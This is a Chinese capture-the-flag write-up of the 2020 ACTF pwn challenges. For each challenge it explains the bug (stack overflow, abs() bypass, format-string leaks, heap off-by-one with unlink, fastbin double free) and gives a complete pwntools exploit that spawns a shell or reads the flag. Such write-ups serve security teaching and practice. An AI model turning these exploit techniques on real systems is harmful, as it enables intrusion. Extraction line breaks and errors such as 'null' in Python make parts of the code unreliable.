2020ACTF PWN-WP

shellcode

- 算是签到题，一个栈溢出。
- 没有开启NX保护，也就是在栈上的数据可以作为代码执行！需要的是一个跳到栈上的跳板，（0day书上讲的很详细）。

  可以看到下面的一段代码，可以作为跳板！

  ```
  .text:0000000000400707 sub_400707      proc near
  .text:0000000000400707 ; __unwind {
  .text:0000000000400707                 push    rbp
  .text:0000000000400708                 mov     rbp, rsp
  .text:000000000040070B                 sub     rsp, 30h
  .text:000000000040070F                 jmp     rsp
  .text:000000000040070F sub_400707      endp
  ```

  构造exp

  ```
  from pwn import *
  context.binary = ELF('./jmp_shell')
  context.log_level = 'debug'

  def dbg():
      gdb.attach(p, 'b* 0x400705')
      raw_input()

  mov_rsp = 0x40070b

  p = process('./shellcode')

  shellcode =
  '\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3
  b\x58\x99\x0f\x05'
  shellcode = shellcode.ljust(0x28, '\x90')
  shellcode += p64(mov_rsp)
  #dbg()
  p.sendafter('0day!', shellcode)

  p.interactive()
  p.close()
  ```

simple_rop

- 主要漏洞点

  ```
  int __cdecl sub_8048738(char *s, int a2)
  {
    size_t v2; // eax
    char v4[16]; // [esp+8h] [ebp-20h]
    int v5; // [esp+18h] [ebp-10h]
    int v6; // [esp+1Ch] [ebp-Ch]
  ```

```
  v5 = abs(a2);
  if ( v5 < 0 )
  {
    v6 %= 32;
  }
  else
  {
    v6 = rand() % 16;
    s[16 - v6] = 0;
  }
  v2 = strlen(s);
  memcpy(&v4[v6], s, v2);
  return puts("copy over!");
}
```

上述代码完成的功能就是将s复制到v4，当然长度和v4起始下标是受v6影响的（在else分支里）。

如果执行了else分支，那么复制到v4的结果**v6+16-v6**是不会溢出的。如果不执行else，则存在溢出！

(s的输入是0x30的长度)

重点是我们都知道if语句的判断条件是一个**abs**函数的结果与0的比较，一般来讲我们都觉得一个数的绝对值是非负的，但是abs函数的实现却没有完全保证这一点。（正数不变，负数各位取反，加一；）

事实上，按照负数，各位取反加一的原则

```
abs(0x80000000) 的结果仍然是 0x80000000 ，而该数是-1
```

如此绕过，就可以栈溢出，exp就呼之欲出啦（system地址和binsh参数在原二进制文件里存在）

```
from pwn import *
context.binary = ELF('./rop')

def exploit():
    system = 0x8048440
    binsh = 0x804a04c

    payload = 'a'*(0x20 + 4)
    payload += p32(system)
    payload += p32(0xdeadbeef)
    payload += p32(binsh)

    p.recvline()
    p.sendline(payload)
    p.recvline()
    p.sendline(str(0x80000000))


p = process('./rop')
exploit()

p.interactive()
p.close()
```

check_rop

- 关键点

```
  v0 = strlen(s);
  v5 = 3 * v0 - 48 * ((unsigned __int64)(0xAAAAAAAAAAAAAAABLL * (unsigned
__int128)(3 * v0) >> 64) >> 5);
  write(1, "And the content:\n", 0x11uLL);
  return sub_4008F8((unsigned __int8 *)&v2, v5);
```

这里的v5实际就是 v5 = 3*v0 % 0x30;

读入字符串函数存在漏洞

```
signed __int64 __fastcall sub_4008F8(unsigned __int8 *a1, int a2)
{
  signed __int64 result; // rax
  unsigned __int8 *buf; // [rsp+18h] [rbp-8h]

  buf = a1;
  do
  {
    if ( (signed int)read(0, buf, 1uLL) <= 0 )
      exit(1);
    result = *buf;
    if ( (_BYTE)result == 10 )
      break;
    ++buf;
    result = (signed __int64)&a1[a2];
  }
  while ( (unsigned __int8 *)result != buf );
  return result;
}
```

由于do while的特殊性，do优先一次执行。当a2=0时，while条件永远成立，也即可以读任意长度的字符串。缓冲区溢出！

这里由于并没有给libc相关地址，所以可以先泄漏libc，再执行system("/bin/sh\x00");

但是其实这里有一个更简单的方式，main函数里的代码

```
  puts("Give you a gift...");
  read(0, &buf, 8uLL);
  __printf_chk(1LL, &buf);
```

虽然__printf_chk函数我们没法用$什么的做到任意写、读。但是可以利用%a的特殊性（以double类型）输出栈上的内容，可以泄漏libc信息。

如此，exp

```
from pwn import *
context.binary = ELF('./chk_rop')
context.log_level = 'debug'
libc = context.binary.libc


def dbg():
    gdb.attach(p)
    raw_input()

p = process('./chk_rop')
#dbg()
p.recvline()
p.sendline('%a')    #leak
p.recvuntil('0x0.0')
leak = int('0x'+p.recvuntil('p').strip('p'), 16) << 4

print "leak ==> ", hex(leak)
libc.address = leak - libc.symbols['_IO_2_1_stdout_']
print "libc ==> ", hex(libc.address)

system = libc.symbols['system']
binsh = next(libc.search('/bin/sh'))

p.sendafter('filename\n', 'a'*0x10)     #len = 0 or 0x10

pop_rdi = 0x400883
payload = 'a'*0x58
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)

p.sendlineafter("content", payload)
p.interactive()
p.close()
```

-

fmt32

- 考查32位下格式化字符串漏洞利用
- 关键点

  ```
    dword_804A070 = rand();
    dword_804A06C = rand();
    if ( sub_8048715(&dword_804A070, &dword_804A06C) )
      sub_804879F();

    puts("Tell me your name:");
    fgets(&s, 32, stdin);
    printf("hello,");
    printf(&s);
    return *a1 == 2 * *a2;
  ```

  随机生成两个数在bss段，之后存在一个格式化字符串漏洞。比较两个随机数是否满足2倍关系。满足时执行了cat flag
- 利用，32下格式化字符串任意地址写

  ```
  from pwn import *
  import time
  context.binary = ELF('./fmt32')
  ```

```
context.log_level = 'debug'
elf = context.binary
libc = elf.libc

def dbg():
    gdb.attach(p, 'b* 0x80487d0')
    raw_input()
key = 0x804a06c
p = process('./fmt32')
#dbg()

leak_key = '%7$x'
p.sendlineafter('name:', leak_key)
p.recvuntil('hello,')
passwd = int(p.recvline().strip('\n'), 16)

p.sendlineafter('number:', str(passwd))
p.interactive()
p.close()
```

fmt64

- 想要考查64位下格式化字符串漏洞综合利用。
- 漏洞点

  很明显的fmt漏洞，

  ```
    while ( (unsigned int)read(0, &format, 0x100uLL) )
    {
      fprintf(a1, &format);
      sleep(1u);
    }
    exit(0);
  ```

  保护状态

  ```
  gdb-peda$ checksec
  CANARY    : disabled
  FORTIFY   : disabled
  NX        : ENABLED
  PIE       : ENABLED
  RELRO     : FULL
  ```

  - 关闭了NX、PIE、RELRO是FULL。所以got表无法改写。
  - 有过heap基础的，应该会想到malloc_hook这个hook指针，当我们的fprintf函数输出的内容过多，就会触发申请一块heap，而这会调用malloc_hook。当我们可以修改malloc_hook时，先修改再触发即可！

    exp（需要慢慢调试）

    ```
    from pwn import *
    import time
    context.binary = ELF('./fmt64')
    context.log_level = 'debug'
    elf = context.binary
    libc = elf.libc
    ```

```
def dbg():
    gdb.attach(p, 'codebase')
    raw_input()

#p = process('./fmt64')
p = remote('47.106.94.13', 50010)

leak_load = '%46$p'
p.recvline()
p.sendline(leak_load)
leak = int(p.recvline().strip('\n'), 16) - 240
libc.address = leak - libc.symbols['__libc_start_main']
malloc_hook = libc.symbols['__malloc_hook']

hook_low = malloc_hook & 0xffff
hook_mid = (malloc_hook & 0xffff0000) >> 16
hook_high = (malloc_hook & 0xffff00000000) >> 32

payload = '%41$p'
time.sleep(1)
p.sendline(payload)
stack_addr = int(p.recvline().strip('\n'), 16) + 0x110
print "stack_addr ==> ", hex(stack_addr)


stack_low = stack_addr & 0xffff
stack_mid = stack_low + 2
stack_high = stack_mid + 2

payload = '%{}c%41$hn'.format(stack_low)
payload += '%{}c%48$hn'.format(2)
payload += '%{}c%62$hndead'.format(2)
time.sleep(1)
p.sendline(payload)

#write malloc_hook to stack
if (hook_low < hook_mid) and (hook_mid < hook_high):
    payload = '%{}c%43$hn'.format(hook_low)
    payload += '%{}c%74$hn'.format(hook_mid - hook_low)
    payload += '%{}c%76$hn'.format(hook_high - hook_mid)

elif (hook_mid < hook_low) and (hook_low < hook_high):
    payload = '%{}c%74$hn'.format(hook_mid)
    payload += '%{}c%43$hn'.format(hook_low - hook_mid)
    payload += '%{}c%76$hn'.format(hook_high - hook_low)
elif (hook_mid < hook_high) and (hook_high < hook_low):
    payload = '%{}c%74$hn'.format(hook_mid)
    payload += '%{}c%76$hn'.format(hook_high - hook_mid)
    payload += '%{}c%43$hn'.format(hook_low - hook_high)
else:
    print "wrong"
    p.close()

p.recvuntil('dead')

payload += 'jail'
```

```
p.sendline(payload)

gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
gad = gadgets[1] + libc.address

gad_low = gad & 0xffff
gad_mid = (gad & 0xffff0000) >> 16

payload = '%{}c%77$hnbail'.format(gad_low) + '\x00'
p.recvuntil('jail')
p.sendline(payload)

payload = '%{}c%43$hntree'.format(hook_low+2)  + '\x00'
p.recvuntil('bail')
p.sendline(payload)

payload = '%{}c%77$hnbacker'.format(gad_mid)  + '\x00'

p.recvuntil('tree')
p.sendline(payload)

p.recvuntil('backer')
p.sendline('%7065$x\x00')

p.interactive()
p.close()
```

complaint

- 考查heap里的null-by-one和unlink
- 漏洞点

  在add功能里

  ```
      v0 = src;
      v0[(signed int)read(0, src, (unsigned int)nbytes)] = 0;
      *((_DWORD *)&n + SHIDWORD(nbytes)) = nbytes;
      ptr[SHIDWORD(nbytes)] = (char *)malloc((signed int)nbytes);
      strcpy(ptr[SHIDWORD(nbytes)], src);
  ```

  这段代码存在null-by-one漏洞

  ```
  当nbytes是形如0x18\0x28\0x38这些是，会触发null-by-one漏洞，修改下一个heap的size位
  ```

  再结合并没有开PIE保护，符合unlink利用前提!

  exp如下

  ```
  from pwn import *
  context.binary = ELF('./complaint')
  context.log_level = 'debug'
  elf = context.binary
  libc = elf.libc

  def dbg():
      gdb.attach(p, '')
  ```

```
    raw_input()

def menu(ch):
    p.sendlineafter('choice:', str(ch))

def create(c_len, content):
    menu(1)
    p.sendlineafter('want', str(c_len))
    p.sendafter('complaint', content)
    print "add a complaint !"

def modify(idx, content):
    menu(2)
    p.sendlineafter('modify', str(idx))
    p.sendafter('complaint', content)
    print "modify %d complaint!" % idx

def delete(idx):
    menu(3)
    p.sendlineafter("delete", str(idx))
    print "delete %d complaint!" % idx

def show(idx):
    menu(4)
    p.sendlineafter("show", str(idx))
    print "show %d complaint!" % idx

def submit():
    menu(5)

def exploit():

    create(0xf8, 'b'*8)
    create(0xf0, 'b'*0xf0)
    delete(0)
    create(0xf8, 'b'*0xf8)

    fake_fd = 0x602140 - 0x10
    fake_bk = 0x602140 - 0x18
    payload = p64(0) + p64(0xf0) + p64(fake_bk) + p64(fake_fd)
    payload = payload.ljust(0xf0, 'a')
    payload += p64(0xf0)                #fake pre_size

    modify(0, payload)                  #unlink
    delete(1)

    create(0x10, 'a')                           #1
    create(0x10, '/bin/sh')                 #2

    payload = 'a'*0x18
    payload += p64(elf.got['puts']) + p64(elf.got['free'])
    modify(0, payload)

    dbg()
    show(0)
    p.recvuntil('Your complaint: \n')
    puts_addr = u64(p.recv(6).ljust(8, '\x00'))
    print "puts_addr ==> ", hex(puts_addr)

    libc.address = puts_addr - libc.symbols['puts']
    system_addr = libc.symbols['system']
    modify(1, p64(system_addr))

    delete(2)

    p.interactive()
    p.close()

if __name__ == '__main__':
    p = process('./complaint')
    exploit()
```

scp_foundation_secret

- 考查的是fastbin attack，这里可以任意读
- 主要漏洞点

  在delete功能里，存在free后没有赋null，可以构成double free 和 UAF。

```
  free(*(void **)SCP_Project_list[v1]);
  free(*((void **)SCP_Project_list[v1] + 1));
  free(SCP_Project_list[v1]);
```

而且init_system里将flag读入了bss段

```
  stream = fopen("/flag", "r");
  if ( !stream )
  {
    
 puts("#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#");
    puts("#
            #");
    puts("#                       SYSTEM MESSAGE:  UNKNOWN ERROR.
            #");
    puts("#
            #");
    
 puts("#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#ERROR#");
    exit(0);
  }
  SCP_Project_remote = 96;
  return fgets(byte_6030C8, 45, stream);
```

  - 可以构造double free，利用fastbin attack伪造一个chunk指向bss段的flag，show出即可

exp奉上

```
from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'

```

```
# context.arch='i386'

# file_name=ELF('')

if context.arch == amd64:
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elif context.arch == i386:
    libc=ELF("/lib/i386-linux-gnu/libc.so.6")

def get_sh(other_libc = null):
    global libc
    if args['REMOTE']:
        if other_libc is not null:
            libc = ELF("./")
        return remote(sys.argv[1], sys.argv[2])
    else:
        return process("./SCP_Foundation")

def
get_address(sh,info=null,start_string=null,end_string=null,int_mode=False):
    sh.recvuntil(start_string)
    if int_mode :
        return_address=int(sh.recvuntil(end_string).strip(end_string),16)
    elif context.arch == 'amd64':

 return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'\x00
'))
    else:

 return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'\x00
'))
    log.success(info+str(hex(return_address)))
    return return_address

def get_gdb(sh,stop=False):
    gdb.attach(sh)
    if stop :
        raw_input()

def creat(sh,name_size,name_value,desc_size,desc_value):
    sh.recvuntil('> Now please tell me what you want to do :')
    sh.sendline('2')
    sh.recvuntil('> SCP name\'s length : ')
    sh.sendline(str(name_size))
    sh.recvuntil('> SCP name : ')
    sh.sendline(name_value)
    sh.recvuntil('> SCP description\'s length : ')
    sh.sendline(str(desc_size))
    sh.recvuntil('> SCP description : ')
    sh.sendline(desc_value)

def delete(sh,index):
    sh.recvuntil('> Now please tell me what you want to do :')
    sh.sendline('4')
    sh.recvuntil('> SCP project ID : ')
    sh.sendline(str(index))

def show(sh,index):
    sh.recvuntil('> Now please tell me what you want to do :')
    sh.sendline('5')
    sh.recvuntil('> SCP project ID : ')
    sh.sendline(str(index))

if __name__ == "__main__":
    sh = get_sh()
    sh.recvuntil('> Username:')
    sh.sendline('123')
    # sh.recvuntil('> Password:')
    sh.sendline('For_the_glory_of_Brunhild')
    creat(sh,0x50,'Chunk_1',0x50,'Chunk_2')
    creat(sh,0x50,'Chunk_3',0x50,'Chunk_4')
    delete(sh,0)
    delete(sh,1)
    delete(sh,0)
    creat(sh,0x50,p64(0x6030B8),0x50,'Chunk_2')
    creat(sh,0x50,'Chunk_3',0x50,'Chunk_4')
    # get_gdb(sh,True)
    creat(sh,0x50,'',0x30,'')
    show(sh,4)
    sh.recvuntil('# SCP\'s name is \n')
    flag=sh.recvuntil('\n').strip('\n')
    log.success('The flag is f'+flag)
    sh.close()
```

scp_foundation_attack

- 和上面相似，但是没有flag在bss，需要shell。
- 另外，存在一个格式化字符串漏洞，可以用来泄漏libc

```
    printf("# Your name is ");
    printf(a1);
    putchar(10);
```

- 思路就很明确了，利用fmt漏洞泄漏libc，之后控制fastbin attack到malloc_hook，利用one_gadgets。
- exp奉上（这个是另一个思路，出题人）

```
from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'

SCP_Foundation_Attack=ELF('./SCP_Foundation_Attack')

if context.arch == 'amd64':
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elif context.arch == 'i386':
    libc=ELF("/lib/i386-linux-gnu/libc.so.6")

def get_sh(other_libc = null):
    global libc
    if args['REMOTE']:
        if other_libc is not null:
            libc = ELF("./")
        return remote(sys.argv[1], sys.argv[2])
    else:
        return process("./SCP_Foundation_Attack")

def
get_address(sh,info=null,start_string=null,end_string=null,int_mode=False):
    sh.recvuntil(start_string)
    if int_mode :
        return_address=int(sh.recvuntil(end_string).strip(end_string),16)
    elif context.arch == 'amd64':

 return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'\x00
'))
    else:

 return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'\x00
'))
    log.success(info+str(hex(return_address)))
    return return_address

def get_gdb(sh,stop=False):
    gdb.attach(sh)
    if stop :
        raw_input()

def creat(sh,name_size,name_value,desc_size,desc_value):
    sh.recvuntil('> Now please tell me what you want to do :')
    sh.sendline('2')
    sh.recvuntil('> SCP name\'s length : ')
    sh.sendline(str(name_size))
    sh.recvuntil('> SCP name : ')
    sh.sendline(name_value)
    sh.recvuntil('> SCP description\'s length : ')
    sh.sendline(str(desc_size))
    sh.recvuntil('> SCP description : ')
    sh.sendline(desc_value)

def edit(sh,index,name_value,desc_value):
    sh.recvuntil('> Now please tell me what you want to do :')
    sh.sendline('3')
    sh.recvuntil('> SCP project ID : ')
    sh.sendline(str(index))
    sh.recvuntil('> SCP name : ')
    sh.sendline(name_value)
    sh.recvuntil('> SCP description : ')
    sh.sendline(desc_value)

def delete(sh,index):
    sh.recvuntil('> Now please tell me what you want to do :')
    sh.sendline('4')
    sh.recvuntil('> SCP project ID : ')
    sh.sendline(str(index))

def show(sh,index):
    sh.recvuntil('> Now please tell me what you want to do :')
    sh.sendline('5')
    sh.recvuntil('> SCP project ID : ')
    sh.sendline(str(index))

if __name__ == "__main__":
    sh = get_sh()
    sh.recvuntil('> Username:')
    sh.send('%14$p')
    sh.recvuntil('> Password:')
    sh.sendline('For_the_glory_of_Brunhild')
    sh.recvuntil('> Now please tell me what you want to do :')
    sh.sendline('1')
    PIE_addr=get_address(sh,'We leak an addr : ','# Your name is 
0x','\n',True) - 0x1A30
    log.success('PIE addr is '+str(hex(PIE_addr)))
    creat(sh,0x60,'Chunk_1',0x70,'Chunk_1')
    creat(sh,0x60,'Chunk_2',0x70,'Chunk_2')
    delete(sh,1)
    delete(sh,2)
    delete(sh,1)
    creat(sh,0x60,p64(0x203188+PIE_addr),0x50,'Chunk_1')
    creat(sh,0x60,'Chunk_2',0x50,'Chunk_2')
    creat(sh,0x60,'Chunk_1',0x50,'Chunk_1')
    sh.recvuntil('> Now please tell me what you want to do :')
    sh.sendline('2')
    sh.recvuntil('> SCP name\'s length : ')
    sh.sendline(str(0x60))
    sh.recvuntil('> SCP name : ')

 sh.send(p64(0x70)*3+p64(0)*7+p64(0x203090+PIE_addr)+p64(0x2030C8+PIE_addr))
    sh.recvuntil('> SCP description\'s length : ')
    sh.sendline(str(0x50))
    sh.recvuntil('> SCP description : ')
    sh.sendline('Chunk_3')
    edit(sh,1,'Anyvalue',p32(0))
    edit(sh,2,'Anyvalue',p64(SCP_Foundation_Attack.got['puts']+PIE_addr))
    show(sh,1)
    puts_addr=get_address(sh,'We get puts address is ','# SCP\'s name is 
','\n')
    libc_base=puts_addr-libc.symbols['puts']
    system_addr=libc_base+libc.symbols['system']
    binsh_addr =libc_base+libc.search('/bin/sh').next()

 edit(sh,2,p64(puts_addr),p64(SCP_Foundation_Attack.got['free']+PIE_addr)+p6
4(binsh_addr))
    edit(sh,1,p64(system_addr),p32(0))
    delete(sh,2)
    sh.sendline('cat /flag')
    flag=sh.recvuntil('\n').strip('\n')
    log.success('The flag is '+flag)
    sh.close()
```

- onegadget的思路

```
from pwn import *
context.binary = ELF('./scp')
context.log_level = 'debug'
```

```python
elf = context.binary
libc = elf.libc

def dbg():
    gdb.attach(p, 'codebase') #0x1847
    raw_input()

def login():
    p.sendafter('Username:', '%15$p')
    p.sendlineafter('Password:', 'For_the_glory_of_Brunhild')

def menu(ch):
    p.sendlineafter('want to do :', str(ch))

def status():
    menu(1)

def create(name_len, name, desc_len, desc):
    menu(2)
    p.sendlineafter('length', str(name_len))
    p.sendlineafter('SCP name :', name)
    p.sendlineafter('length :', str(desc_len))
    p.sendlineafter('description', desc)

def edit(idx, name, desc):
    menu(3)
    p.sendlineafter('project ID ', str(idx))
    p.sendlineafter('SCP name :', name)
    p.sendlineafter('description', desc)

def delete(idx):
    menu(4)
    p.sendlineafter('project ID ', str(idx))

def show(idx):
    menu(5)
    p.sendlineafter('project ID ', str(idx))

def exploit():
    status()
    p.recvuntil('# Your name is ')
    libc_base = int(p.recvline().strip('\n'), 16) - 0x20830
    print "libc ==> ", hex(libc_base)

    gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
    libc.address = libc_base
    malloc_hook = libc.symbols['__malloc_hook']
    realloc_hook = libc.symbols['__realloc_hook']
    realloc_libc = libc.symbols['__libc_realloc']

    create(0x68, 'tree0', 0x68, 'desc0')
    delete(1)
    delete(1)

    create(0x68, p64(realloc_hook-0x1b), 0x68, 'pad')

    payload = 'a'*0xb
    payload += p64(gadgets[1]+libc_base) + p64(realloc_libc+13)
    #dbg()
    create(0x68, 'padd', 0x68, payload)
    menu(2)
    p.sendlineafter('length', str(10))
    p.interactive()
    p.close()

if __name__ == '__main__':
    #p = process('./SCP_Foundation_Attack')
    login()
    exploit()
```